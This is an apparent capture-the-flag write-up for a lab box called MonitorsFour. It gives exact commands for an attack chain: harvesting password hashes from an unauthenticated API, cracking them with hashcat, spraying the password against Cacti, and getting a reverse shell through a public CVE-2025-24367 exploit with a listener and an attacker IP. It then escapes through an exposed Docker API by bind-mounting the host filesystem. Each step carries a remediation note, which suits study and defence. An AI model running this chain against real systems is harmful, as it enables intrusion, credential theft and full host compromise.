MonitorsFour
Summary
I scanned the target and discovered an nginx reverse proxy serving two virtual hosts: a corporate portal and a Cacti 1.2.28 monitoring dashboard. An unauthenticated REST API endpoint on the corporate site returned the full user table — usernames and unsalted MD5 password hashes — to anyone who passed a dummy token. Offline cracking with hashcat and the rockyou wordlist recovered the password in seconds.
That same password was in use on the Cacti application under a different account (marcus), so a credential spray unlocked authenticated Cacti access. Authenticated access to Cacti 1.2.28 enabled exploitation of CVE-2025-24367, a graph-template command-injection flaw that delivered a reverse shell as the Cacti service account and yielded the user flag. From inside the container, I discovered the Docker Desktop host gateway exposed an entirely unauthenticated Docker Engine API on port 2375.
Using that API, a new Alpine container was created with the Windows host root filesystem bind-mounted, exposing the Administrator desktop and the root flag — full host compromise achieved through configuration failures alone, with no Windows exploit required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <container_id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP port scan; identifies 80/tcp and 5985/tcp open.
$ nmap -p- --min-rate 3000 -Pn -T4 $TARGETRegister both discovered virtual hosts for local resolution.
$ echo "$TARGET monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hostsConfirm the corporate portal vhost and inspect response headers for technology signals.
$ curl -si http://monitorsfour.htb/ | head -20Exact commands 2
No authentication required; returns the full user table with hashed passwords.
$ curl -s 'http://monitorsfour.htb/api/v1/users?token=0'Pretty-print the JSON response to extract usernames and hashes for cracking.
$ curl -s 'http://monitorsfour.htb/api/v1/users?token=0' | python3 -m json.toolFixRequire authentication on all API endpoints and remove password hashes from responsesCritical
Exact commands 2
Hashes.txt contains lines in user:MD5hash format extracted from the API; -m 0 is raw MD5.
$ hashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txtPrint all cracked plaintexts after the run completes.
$ hashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txt --showFixReplace MD5 password hashing with a modern slow-hash algorithmCritical
Exact commands 2
Manual login confirmation; a redirect to the dashboard with a session cookie confirms success.
$ curl -si -c cacti.jar -X POST 'http://cacti.monitorsfour.htb/cacti/index.php' --data "action=login&login_username=marcus&login_password=$PASSWORD2" | grep -i 'location\|set-cookie'Alternatively, spray all discovered usernames with netexec to identify which accounts reuse the password.
$ nxc http cacti.monitorsfour.htb -u admin,marcus,mwatson,janderson,dthompson -p $PASSWORD2 --path /cacti/index.phpFixEnforce unique passwords across all internal services and integrate with a central identity providerHigh
Exact commands 4
Start the reverse-shell listener before launching the PoC.
$ nc -lvnp 4448Clone the public PoC.
$ git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC /tmp/CVE-2025-24367-Cacti-PoCReplace -i with my IP. The PoC serves the shell payload on port 9000 by default; ensure that port is free before running.
$ python3 /tmp/CVE-2025-24367-Cacti-PoC/exploit.py -u marcus -p $PASSWORD2 -i $ATTACKER_IP -l 4448 -url http://cacti.monitorsfour.htbRead the user flag from the obtained shell; value is <user.txt>.
$ cat /home/marcus/user.txtFixPatch Cacti to version 1.2.29 or later to remediate CVE-2025-24367Critical
Exact commands 3
From the foothold shell — confirms the Docker daemon is reachable and returns engine version without credentials.
$ curl -s http://$INTERNAL_HOST:2375/versionLists all containers (running and stopped) — confirms full unauthenticated daemon access.
$ curl -s "http://$INTERNAL_HOST:2375/containers/json?all=1"Lists available images including alpine:latest, which will be used for the escape container.
$ curl -s "http://$INTERNAL_HOST:2375/images/json"FixDisable the unauthenticated Docker Engine TCP socket and block container-to-host API accessCritical
Exact commands 3
Creates the escape container with the Windows host filesystem mounted at /host; note the container ID in the JSON response.
$ curl -s -X POST http://$INTERNAL_HOST:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine:latest","Cmd":["sh","-c","cat /host/Users/Administrator/Desktop/root.txt"],"HostConfig":{"Binds":["/:/host"]}}'Replace <container_id> with the ID from the create response to start the container and execute the command.
$ curl -s -X POST "http://$INTERNAL_HOST:2375/containers/<container_id>/start"Retrieve stdout from the container — contains the root flag (value is <root.txt>).
$ curl -s "http://$INTERNAL_HOST:2375/containers/<container_id>/logs?stdout=1&stderr=1"Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 80/tcp | http nginx |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.